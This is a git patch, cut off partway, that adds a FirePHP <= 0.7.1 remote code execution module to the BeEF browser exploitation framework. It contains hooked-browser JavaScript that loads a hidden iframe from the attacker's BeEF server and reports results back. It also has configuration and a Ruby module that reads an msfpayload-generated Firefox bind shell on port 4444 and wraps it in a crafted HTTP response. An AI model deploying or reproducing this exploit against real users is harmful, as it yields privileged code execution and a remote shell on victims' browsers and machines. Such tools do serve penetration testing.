From abe1370a50d0210d22677c29cd05a1b1df377057 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 5 May 2014 10:32:59 +0000 Subject: [PATCH] Add FirePHP <= 0.7.1 RCE module @Wireghoul Fixes issue #885 --- modules/exploits/firephp/command.js | 26 +++++ modules/exploits/firephp/config.yaml | 19 +++ modules/exploits/firephp/module.rb | 70 +++++++++++ modules/exploits/firephp/payload.js | 168 +++++++++++++++++++++++++++ 4 files changed, 283 insertions(+) create mode 100644 modules/exploits/firephp/command.js create mode 100644 modules/exploits/firephp/config.yaml create mode 100644 modules/exploits/firephp/module.rb create mode 100644 modules/exploits/firephp/payload.js diff --git a/modules/exploits/firephp/command.js b/modules/exploits/firephp/command.js new file mode 100644 index 000000000..cd0bb84d0 --- /dev/null +++ b/modules/exploits/firephp/command.js @@ -0,0 +1,26 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + // detect firebug + if (window.console && (window.console.firebug || window.console.exception)) { + var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe(); + firephp_<%= @command_id %>.src = "<%= @beef_url %>/firephp"; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + } else { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser."); + return; + } + + // clean up + cleanup = function() { + document.body.removeChild(firephp_<%= @command_id %>); + } + setTimeout("cleanup()", 10000); + +}); + diff --git a/modules/exploits/firephp/config.yaml b/modules/exploits/firephp/config.yaml new file mode 100644 index 000000000..efa0eacc9 --- /dev/null +++ b/modules/exploits/firephp/config.yaml @@ -0,0 +1,19 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +### +# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html +### +beef: + module: + firephp_code_exec: + enable: true + category: "Exploits" + name: "Firephp 0.7.1 RCE" + description: "Exploit FirePHP <= 0.7.1 to execute arbitrary JavaScript within the trusted 'chrome://' zone.

This module forces the browser to load '/firephp' on the public BeEF interface.

The payload is executed silently once the user moves the mouse over the array returned for 'http://[BeEF]/firephp' in Firebug.

Note: Use msfpayload to generate JavaScript payloads. The default payload binds a shell on port 4444.
See 'modules/exploits/firephp/payload.js'" + authors: ["Wireghoul", "bcoles"] + target: + user_notify: ["FF"] + not_working: ["All"] diff --git a/modules/exploits/firephp/module.rb b/modules/exploits/firephp/module.rb new file mode 100644 index 000000000..41999a8cb --- /dev/null +++ b/modules/exploits/firephp/module.rb @@ -0,0 +1,70 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +### +# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html +### +class Firephp_code_exec < BeEF::Core::Command + + def pre_send + rand_str = rand(32**10).to_s(32) + + # load payload.js file + # generate payload: + # msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js + payload = "" + f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js") + f.each_line do |line| + payload << line + end + f.close + + # construct exploit+payload HTTP response + exploit = { + "RequestHeaders" => { + "1"=>"#{rand(10)}", + "2"=>"#{rand(10)}", + "3"=>"#{rand(10)}", + "4"=>"#{rand(10)}", + "5"=>"#{rand(10)}", + "6"=>"#{rand(10)}", + "7"=>"#{rand(10)}", + "8"=>"#{rand(10)}", + "9"=>"#{rand(10)}", + "